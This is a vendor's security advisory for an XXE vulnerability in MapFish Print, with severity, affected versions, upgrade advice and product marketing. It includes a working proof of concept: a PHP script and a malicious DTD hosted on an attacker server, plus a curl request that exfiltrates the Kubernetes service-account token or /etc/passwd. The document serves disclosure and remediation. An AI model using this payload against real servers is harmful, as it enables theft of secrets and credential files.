Summary
MapFish Print has XXE that allows reading arbitrary files of certain types
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.
CVE-2026-55848 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
org.mapfish.print:print-lib to 3.28.30 or later; org.mapfish:print.print-servlet to 3.28.30 or later; org.mapfish.print:print-lib to 3.30.32 or later; org.mapfish.print:print-servlet to 3.30.32 or later; org.mapfish.print:print-servlet to 3.31.24 or later; org.mapfish.print:print-lib to 3.33.16 or later; org.mapfish.print:print-servlet to 3.33.16 or later; org.mapfish.print:print-lib to 4.0.5 or later; org.mapfish.print:print-servlet to 4.0.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-55848? CVE-2026-55848 is a high-severity XML external entity injection (XXE) vulnerability in org.mapfish.print:print-lib (maven), affecting versions >= 3.0.0, < 3.28.30. It is fixed in 3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
- How severe is CVE-2026-55848? CVE-2026-55848 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-55848?
org.mapfish.print:print-lib(maven) (versions >= 3.0.0, < 3.28.30)org.mapfish:print.print-servlet(maven) (versions >= 3.0.0, < 3.28.30)org.mapfish.print:print-servlet(maven) (versions >= 3.29.0, < 3.30.32)
- Is there a fix for CVE-2026-55848? Yes. CVE-2026-55848 is fixed in 3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5. Upgrade to this version or later.
- Is CVE-2026-55848 exploitable, and should I be worried? Whether CVE-2026-55848 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55848 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55848?
- Upgrade
org.mapfish.print:print-libto 3.28.30 or later - Upgrade
org.mapfish:print.print-servletto 3.28.30 or later - Upgrade
org.mapfish.print:print-libto 3.30.32 or later - Upgrade
org.mapfish.print:print-servletto 3.30.32 or later - Upgrade
org.mapfish.print:print-servletto 3.31.24 or later - Upgrade
org.mapfish.print:print-libto 3.33.16 or later - Upgrade
org.mapfish.print:print-servletto 3.33.16 or later - Upgrade
org.mapfish.print:print-libto 4.0.5 or later - Upgrade
org.mapfish.print:print-servletto 4.0.5 or later
- Upgrade